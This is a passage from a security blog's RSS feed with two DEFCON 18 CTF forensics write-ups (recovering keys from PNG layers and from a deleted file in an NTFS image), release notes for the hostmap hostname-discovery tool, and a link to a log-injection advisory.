IMG_1008.png<br />
IMG_1009.png<br />
IMG_1010.png<br />
IMG_1011.png<br />
IMG_1012.png<br />
IMG_1013.png<br />
IMG_1014.png<br />
IMG_1015.png<br />
IMG_1016.png<br />
IMG_1017.png<br />
IMG_1018.png<br />
IMG_1019.png<br />
IMG_1020.png<br />
IMG_1021.png<br />
IMG_1022.png<br />
IMG_1023.png<br />
IMG_1024.png<br />
IMG_1025.png<br />
IMG_1026.png<br />
IMG_1027.png<br />
IMG_1028.png<br />
IMG_1029.png<br />
IMG_1030.png<br />
IMG_1031.png<br />
IMG_1032.png<br />
IMG_1033.png<br />
IMG_1034.png<br />
IMG_1035.png<br />
IMG_1036.png<br />
IMG_1037.png<br />
IMG_1038.png<br />
IMG_1039.png<br />
IMG_1040.png<br />
IMG_1041.png<br />
IMG_1042.png<br />
IMG_1043.png<br />
IMG_1044.png<br />
IMG_1045.png<br />
IMG_1046.png<br />
IMG_1047.png<br />
IMG_1048.png<br />
IMG_1049.png<br />
IMG_1050.png<br />
IMG_1051.png<br />
IMG_1052.png<br />
IMG_1053.png<br />
IMG_1054.png<br />
IMG_1055.png<br />
IMG_1056.png<br />
IMG_1057.png<br />
IMG_1058.png<br />
IMG_1059.png<br />
IMG_1060.png<br />
IMG_1061.png<br />
IMG_1062.png<br />
IMG_1063.png<br />
IMG_1064.png<br />
IMG_1065.png<br />
IMG_1066.png<br />
IMG_1067.png<br />
IMG_1068.png<br />
IMG_1069.png<br />
IMG_1070.png<br />
IMG_1071.png<br />
IMG_1072.png<br />
IMG_1073.png<br />
IMG_1074.png<br />
IMG_1075.png<br />
IMG_1076.png<br />
IMG_1077.png<br />
IMG_1078.png<br />
IMG_1079.png<br />
IMG_1080.png<br />
IMG_1081.png<br />
IMG_1082.png<br />
IMG_1083.png<br />
IMG_1084.png<br />
IMG_1085.png<br />
IMG_1086.png<br />
IMG_1087.png<br />
IMG_1088.png<br />
IMG_1089.png<br />
IMG_1090.png<br />
IMG_1091.png<br />
IMG_1092.png<br />
IMG_1093.png<br />
IMG_1094.png<br />
IMG_1095.png<br />
IMG_1096.png<br />
IMG_1097.png<br />
IMG_1098.png<br />
IMG_1099.png<br />
IMG_1100.png<br />
IMG_1101.png<br />
IMG_1102.png<br />
IMG_1103.png<br />
IMG_1104.png<br />
IMG_1105.png<br />
IMG_1106.png<br />
IMG_1107.png<br />
IMG_1108.png<br />
IMG_1109.png<br />
IMG_1110.png<br />
IMG_1111.png<br />
IMG_1112.png<br />
IMG_1113.png<br />
IMG_1114.png<br />
IMG_1115.png<br />
IMG_1116.png<br />
IMG_1117.png<br />
IMG_1118.png<br />
IMG_1119.png<br />
IMG_1120.png<br />
IMG_1121.png</p></blockquote>
<p>There are a lot of images, apparently all of the same size. We can try to use pngtools the examine the respect of image attributes and the presence of metadata.</p>
<blockquote><p>$ pnginfo IMG_1116.png<br />
IMG_1116.png&#8230;<br />
Image Width: 118 Image Length: 810<br />
Bitdepth (Bits/Sample): 8<br />
Channels (Samples/Pixel): 4<br />
Pixel depth (Pixel Depth): 32<br />
Colour Type (Photometric Interpretation): RGB with alpha channel<br />
Image filter: Single row per byte filter<br />
Interlacing: No interlacing<br />
Compression Scheme: Deflate method 8, 32k window<br />
Resolution: 0, 0 (unit unknown)<br />
FillOrder: msb-to-lsb<br />
Byte Order: Network (Big Endian)<br />
Number of text strings: 0 of 0</p></blockquote>
<p>There are no interesting metadata. But it seems that each image contains some pixels, we can try to compose all the images.</p>
<blockquote><p>$ convert -background skyblue *.png -layers flatten +repage Flatten.png</p></blockquote>
<p>And inside there is the key: <a href="http://is.gd/ced7F">http://is.gd/ced7F</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/forensic/defcon-18-ctf-quals-%e2%80%93-forensic-200-writeup/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DEFCON 18 CTF quals – Forensic 100 writeup</title>
		<link>http://lab.lonerunners.net/forensic/defcon-18-ctf-quals-forensic-100-writeup</link>
		<comments>http://lab.lonerunners.net/forensic/defcon-18-ctf-quals-forensic-100-writeup#comments</comments>
		<pubDate>Sat, 19 Jun 2010 13:51:09 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Forensic]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[DEFCON]]></category>
		<category><![CDATA[quals]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=115</guid>
		<description><![CDATA[photo credit: RobotSkirts Some times ago i get a lot of fun at DEFCON 18 CTF qualifications with a group of really skilled friends. Now a bit later, here is my writeup for some challenges. First forensic challange of the DEFCON 18 CTF qualifications: the suggestion was &#8220;find the key&#8221; and the related file is [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center"><a title="DefCon 13 2005" href="http://www.flickr.com/photos/42252366@N00/500070372/" target="_blank"><img src="http://farm1.static.flickr.com/214/500070372_5a9fd5e86d.jpg" border="0" alt="DefCon 13 2005" /></a><br />
<a title="Attribution-ShareAlike License" href="http://creativecommons.org/licenses/by-sa/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="RobotSkirts" href="http://www.flickr.com/photos/42252366@N00/500070372/" target="_blank">RobotSkirts</a></p>
<p>Some times ago i get a lot of fun at <strong>DEFCON 18 CTF qualifications</strong> with a group of really skilled friends. Now a bit later, here is my writeup for some challenges.</p>
<p>First forensic challange of the DEFCON 18 CTF qualifications: the suggestion was &#8220;<em>find the key</em>&#8221; and the related file is <a href="http://squidzrus.schleppingsquid.net/DC18-Qual-Walks/f100_6db079ca91c4860f.bin">here</a>. (Mirrors: <a href="http://stalkr.net/files/defcon/2010/quals/forensics100/f100_6db079ca91c4860f.bin.gz">#1</a>, <a href="http://n.pentest.jp/ctf2010/f100_6db079ca91c4860f.bin">#2</a>)</p>
<blockquote><p>$ file f100_6db079ca91c4860f.bin<br />
f100_6db079ca91c4860f.bin: x86 boot sector; partition 1: ID=0&#215;7, starthead 0, startsector 31, 31558 sectors, extended partition table (last)11, code offset 0&#215;0</p></blockquote>
<p>Now take a look at the partition table.</p>
<blockquote><p>$ xxd -l 512 f100_6db079ca91c4860f.bin<br />
0000000: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000010: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000020: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000030: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000040: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000050: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000060: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000070: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000080: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000090: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
00000a0: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
00000b0: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
00000c0: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
00000d0: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
00000e0: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
00000f0: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000100: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000110: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000120: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000130: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000140: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000150: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000160: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000170: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000180: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
0000190: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
00001a0: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
00001b0: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
00001c0: 0101 0700 dffa 1f00 0000 467b 0000 0000  &#8230;&#8230;&#8230;.F{&#8230;.<br />
00001d0: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
00001e0: 0000 0000 0000 0000 0000 0000 0000 0000  &#8230;&#8230;&#8230;&#8230;&#8230;.<br />
00001f0: 0000 0000 0000 0000 0000 0000 0000 55aa  &#8230;&#8230;&#8230;&#8230;..U.</p></blockquote>
<blockquote><p>$ xxd -l 512 -s 15872 f100_6db079ca91c4860f.bin<br />
0003e00: eb52 904e 5446 5320 2020 2000 0208 0000  .R.NTFS    &#8230;..<br />
0003e10: 0000 0000 00f8 0000 3f00 ff00 1f00 0000  &#8230;&#8230;..?&#8230;&#8230;.<br />
0003e20: 0000 0000 8000 0000 457b 0000 0000 0000  &#8230;&#8230;..E{&#8230;&#8230;<br />
0003e30: 2205 0000 0000 0000 0200 0000 0000 0000  &#8220;&#8230;&#8230;&#8230;&#8230;&#8230;<br />
0003e40: f600 0000 0100 0000 631f 85d4 4885 d422  &#8230;&#8230;..c&#8230;H..&#8221;<br />
0003e50: 0000 0000 fa33 c08e d0bc 007c fb68 c007  &#8230;..3&#8230;..|.h..<br />
0003e60: 1f1e 6866 00cb 8816 0e00 6681 3e03 004e  ..hf&#8230;&#8230;f.&gt;..N<br />
0003e70: 5446 5375 15b4 41bb aa55 cd13 720c 81fb  TFSu..A..U..r&#8230;<br />
0003e80: 55aa 7506 f7c1 0100 7503 e9dd 001e 83ec  U.u&#8230;..u&#8230;&#8230;.<br />
0003e90: 1868 1a00 b448 8a16 0e00 8bf4 161f cd13  .h&#8230;H&#8230;&#8230;&#8230;.<br />
0003ea0: 9f83 c418 9e58 1f72 e13b 060b 0075 dba3  &#8230;..X.r.;&#8230;u..<br />
0003eb0: 0f00 c12e 0f00 041e 5a33 dbb9 0020 2bc8  &#8230;&#8230;..Z3&#8230; +.<br />
0003ec0: 66ff 0611 0003 160f 008e c2ff 0616 00e8  f&#8230;&#8230;&#8230;&#8230;&#8230;<br />
0003ed0: 4b00 2bc8 77ef b800 bbcd 1a66 23c0 752d  K.+.w&#8230;&#8230;f#.u-<br />
0003ee0: 6681 fb54 4350 4175 2481 f902 0172 1e16  f..TCPAu$&#8230;.r..<br />
0003ef0: 6807 bb16 6870 0e16 6809 0066 5366 5366  h&#8230;hp..h..fSfSf<br />
0003f00: 5516 1616 68b8 0166 610e 07cd 1a33 c0bf  U&#8230;h..fa&#8230;.3..<br />
0003f10: 2810 b9d8 0ffc f3aa e95f 0190 9066 601e  (&#8230;&#8230;.._&#8230;f`.<br />
0003f20: 0666 a111 0066 0306 1c00 1e66 6800 0000  .f&#8230;f&#8230;..fh&#8230;<br />
0003f30: 0066 5006 5368 0100 6810 00b4 428a 160e  .fP.Sh..h&#8230;B&#8230;<br />
0003f40: 0016 1f8b f4cd 1366 595b 5a66 5966 591f  &#8230;&#8230;.fY[ZfYfY.<br />
0003f50: 0f82 1600 66ff 0611 0003 160f 008e c2ff  &#8230;.f&#8230;&#8230;&#8230;..<br />
0003f60: 0e16 0075 bc07 1f66 61c3 a0f8 01e8 0900  &#8230;u&#8230;fa&#8230;&#8230;.<br />
0003f70: a0fb 01e8 0300 f4eb fdb4 018b f0ac 3c00  &#8230;&#8230;&#8230;&#8230;..&lt;.<br />
0003f80: 7409 b40e bb07 00cd 10eb f2c3 0d0a 4120  t&#8230;&#8230;&#8230;&#8230;.A<br />
0003f90: 6469 736b 2072 6561 6420 6572 726f 7220  disk read error<br />
0003fa0: 6f63 6375 7272 6564 000d 0a42 4f4f 544d  occurred&#8230;BOOTM<br />
0003fb0: 4752 2069 7320 6d69 7373 696e 6700 0d0a  GR is missing&#8230;<br />
0003fc0: 424f 4f54 4d47 5220 6973 2063 6f6d 7072  BOOTMGR is compr<br />
0003fd0: 6573 7365 6400 0d0a 5072 6573 7320 4374  essed&#8230;Press Ct<br />
0003fe0: 726c 2b41 6c74 2b44 656c 2074 6f20 7265  rl+Alt+Del to re<br />
0003ff0: 7374 6172 740d 0a00 8ca9 bed6 0000 55aa  start&#8230;&#8230;&#8230;U.</p></blockquote>
<p>Seems some sort of Windows image. Get a look at the full partition table.</p>
<blockquote><p>$ mmls f100_6db079ca91c4860f.bin<br />
DOS Partition Table<br />
Offset Sector: 0<br />
Units are in 512-byte sectors</p>
<p>Slot    Start        End          Length       Description<br />
00:  Meta    0000000000   0000000000   0000000001   Primary Table (#0)<br />
01:  &#8212;&#8211;   0000000000   0000000030   0000000031   Unallocated<br />
02:  00:00   0000000031   0000031588   0000031558   NTFS (0&#215;07)<br />
03:  &#8212;&#8211;   0000031589   0000031615   0000000027   Unallocated</p></blockquote>
<p>Using these values we can extract the partitions with dd.</p>
<blockquote><p>$ dd if=f100_6db079ca91c4860f.bin of=p0.bin bs=512 skip=0 count=1<br />
1+0 records in<br />
1+0 records out<br />
512 bytes (512 B) copied, 5.0705e-05 s, 10.1 MB/s<br />
$ dd if=f100_6db079ca91c4860f.bin of=p1.bin bs=512 skip=0 count=31<br />
31+0 records in<br />
31+0 records out<br />
15872 bytes (16 kB) copied, 0.000218534 s, 72.6 MB/s<br />
$ dd if=f100_6db079ca91c4860f.bin of=p2.bin bs=512 skip=31<br />
31585+0 records in<br />
31585+0 records out<br />
16171520 bytes (16 MB) copied, 0.298363 s, 54.2 MB/s<br />
$ dd if=f100_6db079ca91c4860f.bin of=p3.bin bs=512 skip=31589<br />
27+0 records in<br />
27+0 records out<br />
13824 bytes (14 kB) copied, 0.000205892 s, 67.1 MB/s</p></blockquote>
<p>Now re-check partions with file.</p>
<blockquote><p>$ file p*.bin<br />
p0.bin: x86 boot sector; partition 1: ID=0&#215;7, starthead 0, startsector 31, 31558 sectors, extended partition table (last)11, code offset 0&#215;0<br />
p1.bin: x86 boot sector; partition 1: ID=0&#215;7, starthead 0, startsector 31, 31558 sectors, extended partition table (last)11, code offset 0&#215;0<br />
p2.bin: x86 boot sector, code offset 0&#215;52, OEM-ID &#8220;NTFS    &#8220;, sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 255, hidden sectors 31, dos &lt; 4.0 BootSector (0&#215;0)<br />
p3.bin: data</p></blockquote>
<p>Now take a quick look with strings at each partitions, if you are lucky you can see the key. Anyway go ahead with the full analysis.</p>
<p>Now run foremost to carve files on all partitions.</p>
<blockquote><p>$ foremost -i p0.bin -o p0<br />
Processing: p0.bin<br />
|*|<br />
$ foremost -i p1.bin -o p1<br />
Processing: p1.bin<br />
|*|<br />
$ foremost -i p2.bin -o p2<br />
Processing: p2.bin<br />
|*|<br />
$ foremost -i p3.bin -o p3<br />
Processing: p3.bin<br />
|*|</p></blockquote>
<p>On p2.bin foremost recovers some file as we can see from audit.txt.</p>
<blockquote><p>$ cat p2/audit.txt<br />
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus<br />
Audit File</p>
<p>Foremost started at Sun Jun 20 17:47:43 2010<br />
Invocation: foremost -i p2.bin -o p2<br />
Output directory: /home/jekil/Desktop/p2<br />
Configuration file: /etc/foremost.conf<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
File: p2.bin<br />
Start: Sun Jun 20 17:47:43 2010<br />
Length: 15 MB (16171520 bytes)</p>
<p>Num     Name (bs=512)           Size     File Offset     Comment</p>
<p>0:    00000312.jpg           11 KB          159744<br />
1:    00000336.jpg            4 KB          172032<br />
2:    00000344.jpg            1 KB          176128<br />
3:    00001032.jpg           13 KB          528384<br />
4:    00001064.jpg           36 KB          544768<br />
5:    00001144.jpg           32 KB          585728<br />
6:    00001216.jpg            4 KB          622592<br />
7:    00000288.png            9 KB          147456       (634 x 278)<br />
Finish: Sun Jun 20 17:47:43 2010</p>
<p>8 FILES EXTRACTED</p>
<p>jpg:= 7<br />
png:= 1<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Foremost finished at Sun Jun 20 17:47:43 2010</p></blockquote>
<p>Get a look at these images with a viewer, one image seems to contains a kind of encoded (like base64) data but i haven&#8217;t found an use of that, another image contains some exif data, you can see that with exiftool or a viewer with metadata support.</p>
<blockquote><p>File size    : 4378 bytes<br />
File date    : 2010:05:22 01:57:57<br />
Resolution   : 116 x 102<br />
GPS Latitude : N 36d  8m  8.5s<br />
GPS Longitude: E 115d  9m 29s<br />
Comment      : Who is the author?ASCII</p></blockquote>
<p>Now it&#8217;s time to get a look at the file system. Add every partition to autopsy and search for interesting things.</p>
<p>In partition two we found a suspect file in C:\key but it was deleted.</p>
<p>Anyway it&#8217;s a NTFS partition so we can check $MFT for chunks of deleted files. Examining that and searching for the key file we see an interesting string encoded in Unicode (points are null byte)</p>
<blockquote><p>n.o.t.d.e.l.e.t.e.d.,.n.e.v.e.r.existed</p></blockquote>
<p>The key was &#8220;notdeleted,neverexisted&#8221;.</p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/forensic/defcon-18-ctf-quals-forensic-100-writeup/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>hostmap 0.2.2 released</title>
		<link>http://lab.lonerunners.net/tools/hostmap-0-2-2-released</link>
		<comments>http://lab.lonerunners.net/tools/hostmap-0-2-2-released#comments</comments>
		<pubDate>Sun, 09 May 2010 17:57:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[hostmap]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[discovery]]></category>
		<category><![CDATA[dns enumeration]]></category>
		<category><![CDATA[dns name]]></category>
		<category><![CDATA[virtual host]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=113</guid>
		<description><![CDATA[I am glad to release hostmap version 0.2.2. In this version there are a lot of bug fixes and some new features. Introduction hostmap is a free, automatic, hostnames and virtual hosts discovery tool written in Ruby and licensed under GNU General Public License version 3 (GPLv3). It’s goal is to enumerate all hostnames and [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" src="../wp-content/uploads/2009/05/screenshot-hostmap-the-automatic-hostnames-and-virtual-hosts-discovery-tool-mozilla-firefox.png" alt="hostmap" width="500" /></p>
<p>I am glad to release hostmap version 0.2.2.<br />
In this version there are a lot of bug fixes and some new features.</p>
<h2>Introduction</h2>
<p>hostmap is a free, automatic, hostnames and virtual hosts discovery tool written in Ruby and licensed under GNU General Public License version 3 (GPLv3). It’s goal is to enumerate all hostnames and configured virtual hosts on an IP address. The primary users of hostmap are professionals performing vulnerability assessments and penetration tests.</p>
<h2>Changes</h2>
<p>Some of the new features include:</p>
<p>* Fixed hostname dictionary &#8220;big&#8221; list name.<br />
* Fixed DNS AXFR zone transfer check that was prone to false positives under some circumstances.<br />
* Added automatic check for new updates. You can disable it in configuration file or using the option &#8211;without-update.<br />
* Fixed DNS History plugin that can raise SystemExit under some strange circumstances.<br />
* Changed the job scheduler. Now is more fast, robust and fine tuned.<br />
* Added a dynamic thread pool, now you can use &#8211;threads to choose the number of concurrent threads.<br />
* Some minor fixes.</p>
<p>See the complete list of changes at<br />
<a href="http://hostmap.lonerunners.net/doc/Changelog.txt">http://hostmap.lonerunners.net/doc/Changelog.txt</a>.</p>
<h2>Download</h2>
<p>You can download it in the following formats:</p>
<p>* Source gzip compressed,<br />
<a href="http://update.lonerunners.net/software/download/847af4f866eed21b1a1398e085eb2c2a">http://update.lonerunners.net/software/download/847af4f866eed21b1a1398e085eb2c2a</a></p>
<p>* Source zip compressed,<br />
<a href="http://update.lonerunners.net/software/download/13c1e21e83f3dc399c3983893efc04f0">http://update.lonerunners.net/software/download/13c1e21e83f3dc399c3983893efc04f0</a></p>
<h2>Documentation</h2>
<p>* hostmap user’s manual: <a href="http://hostmap.lonerunners.net/doc/README.pdf">http://hostmap.lonerunners.net/doc/README.pdf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/tools/hostmap-0-2-2-released/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection @ Ush.it</title>
		<link>http://lab.lonerunners.net/advisory/nginx-varnish-cherokee-thttpd-mini-httpd-webrick-orion-aolserver-yaws-and-boa-log-escape-sequence-injection-ush-it</link>
		<comments>http://lab.lonerunners.net/advisory/nginx-varnish-cherokee-thttpd-mini-httpd-webrick-orion-aolserver-yaws-and-boa-log-escape-sequence-injection-ush-it#comments</comments>
		<pubDate>Sun, 10 Jan 2010 19:07:30 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[Advisory]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[log escape]]></category>
		<category><![CDATA[log escape sequence injection]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=109</guid>
		<description><![CDATA[photo credit: dno1967 With the Ush.it team we published an advisory about “Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection”. Have a nice read here!﻿]]></description>
			<content:encoded><![CDATA[<p style="text-align: center"><a title="PyRoom is the text editor for me." href="http://www.flickr.com/photos/31703752@N04/4158512588/" target="_blank"><img src="http://farm3.static.flickr.com/2624/4158512588_09b8100010.jpg" border="0" alt="PyRoom is the text editor for me." /></a><br />
<a title="Attribution License" href="http://creativecommons.org/licenses/by/2.0/" target="_blank"><img src="http://lab.lonerunners.net/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="dno1967" href="http://www.flickr.com/photos/31703752@N04/4158512588/" target="_blank">dno1967</a></p>
<p>With the <a href="http://www.ush.it/">Ush.it</a> team we published an advisory about “<a href="http://www.ush.it/2010/01/11/nginx-varnish-cherokee-thttpd-mini-httpd-webrick-orion-aolserver-yaws-and-boa-log-escape-sequence-injection/">Nginx, Varnish, Cherokee, thttpd, mini-httpd, WEBrick, Orion, AOLserver, Yaws and Boa log escape sequence injection</a>”. Have a nice read <a href="http://www.ush.it/2010/01/11/nginx-varnish-cherokee-thttpd-mini-httpd-webrick-orion-aolserver-yaws-and-boa-log-escape-sequence-injection/">here</a>!﻿</p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/advisory/nginx-varnish-cherokee-thttpd-mini-httpd-webrick-orion-aolserver-yaws-and-boa-log-escape-sequence-injection-ush-it/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>hostmap 0.2.1 released</title>
		<link>http://lab.lonerunners.net/tools/hostmap-0-2-1-released</link>
		<comments>http://lab.lonerunners.net/tools/hostmap-0-2-1-released#comments</comments>
		<pubDate>Sat, 26 Dec 2009 19:46:51 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[hostmap]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[discovery]]></category>
		<category><![CDATA[dns enumeration]]></category>
		<category><![CDATA[dns name]]></category>
		<category><![CDATA[virtual host]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=105</guid>
		<description><![CDATA[I am glad to release hostmap version 0.2.1. In this version there are a lot of bug fixes and some new features. Introduction hostmap is a free, automatic, hostnames and virtual hosts discovery tool written in Ruby and licensed under GNU General Public License version 3 (GPLv3). It&#8217;s goal is to enumerate all hostnames and [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center"><img src="http://lab.lonerunners.net/wp-content/uploads/2009/05/screenshot-hostmap-the-automatic-hostnames-and-virtual-hosts-discovery-tool-mozilla-firefox.png" alt="hostmap" width="500" /></p>
<p>I am glad to release hostmap version 0.2.1.<br />
In this version there are a lot of bug fixes and some new features.</p>
<h2>Introduction</h2>
<p>hostmap is a free, automatic, hostnames and virtual hosts discovery tool written in Ruby and licensed under GNU General Public License version 3 (GPLv3). It&#8217;s goal is to enumerate all hostnames and configured virtual hosts on an IP address. The primary users of hostmap are professionals performing vulnerability assessments and penetration tests.</p>
<h2>Changes</h2>
<p>Some of the new features include:</p>
<p>* Fixed handling of Errno::ECONNRESET in SSL certificate plugin.<br />
* Upgraded net-dns to latest version from git repository.<br />
* Fixed traceback on Mac OSX due to net-dns bug.<br />
* Added check to enumerate host names with DNS TLD expansion.<br />
* Added &#8211;print-maltego to get output in Maltego XML format.<br />
* Fixed the exception handling architecture, now unknown exceptions that can be raised on not supported system are handled.<br />
* Fixed traceback on FreeBSD due to raising of different exceptions.<br />
* Added Metasploit auxiliary module in extra folder.<br />
* Added validation of -t option, if it isn&#8217;t an IP address hostmap is stopped.<br />
* Added enumeration plugin timeout, by default at 10 minutes. Can be changed with user supplied &#8211;timeout option.<br />
* Moved website from http://hostmap.sourceforge.net to http://hostmap.lonerunners.net<br />
* Added warning message to fix traceback if missing libopenssl-ruby.</p>
<p>See the complete list of changes at<br />
<a href="http://hostmap.lonerunners.net/doc/Changelog.txt">http://hostmap.lonerunners.net/doc/Changelog.txt</a>.</p>
<h2>Download</h2>
<p>You can download it in the following formats:</p>
<p>* Source gzip compressed,<br />
<a href="https://sourceforge.net/projects/hostmap/files/hostmap/hostmap-0.2.1/hostmap-0.2.1.tar.gz/download">https://sourceforge.net/projects/hostmap/files/hostmap/hostmap-0.2.1/hostmap-0.2.1.tar.gz/download</a></p>
<p>* Source zip compressed,<br />
<a href="https://sourceforge.net/projects/hostmap/files/hostmap/hostmap-0.2.1/hostmap-0.2.1.zip/download">https://sourceforge.net/projects/hostmap/files/hostmap/hostmap-0.2.1/hostmap-0.2.1.zip/download</a></p>
<h2>Documentation</h2>
<p>* hostmap user&#8217;s manual: <a href="http://hostmap.lonerunners.net/doc/README.pdf">http://hostmap.lonerunners.net/doc/README.pdf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lab.lonerunners.net/tools/hostmap-0-2-1-released/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>hostmap 0.2 released</title>
		<link>http://lab.lonerunners.net/tools/hostmap-0-2-released</link>
		<comments>http://lab.lonerunners.net/tools/hostmap-0-2-released#comments</comments>
		<pubDate>Thu, 17 Dec 2009 11:11:04 +0000</pubDate>
		<dc:creator>jekil</dc:creator>
				<category><![CDATA[hostmap]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[virtual host]]></category>

		<guid isPermaLink="false">http://lab.lonerunners.net/?p=98</guid>
		<description><![CDATA[I am glad to release hostmap version 0.2. Introduction hostmap is a free, automatic, hostnames and virtual hosts discovery tool written in Ruby and licensed under GNU General Public License version 3 (GPLv3). It&#8217;s goal is to enumerate all hostnames and configured virtual hosts on an IP address. The primary users of hostmap are professionals [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center"><img src="http://lab.lonerunners.net/wp-content/uploads/2009/05/screenshot-hostmap-the-automatic-hostnames-and-virtual-hosts-discovery-tool-mozilla-firefox.png" alt="hostmap" width="500" /></p>
<p>I am glad to release hostmap version 0.2.</p>
<h2>Introduction</h2>
<p>hostmap is a free, automatic, hostnames and virtual hosts discovery tool written in Ruby and licensed under GNU General Public License version 3 (GPLv3). It&#8217;s goal is to enumerate all hostnames and configured virtual hosts on an IP address. The primary users of hostmap are professionals performing vulnerability assessments and penetration tests.</p>
<h2>Changes</h2>
<p>Some of the new features include:</p>
<p>* Fully refactored and rewritten in Ruby.<br />
* User requested interrupt (CTRL+C) now is handled.<br />
* Added Rakefile to automatize task. For example readme and API documentation rebuilding.<br />
* Changed info gathering plugin architecture. Now using PlugMan library.<br />
* Added some host names to brute forcing dictionaries.<br />
* Added parsing of alternate subject (subjectAltName) from X.509 certificates.<br />
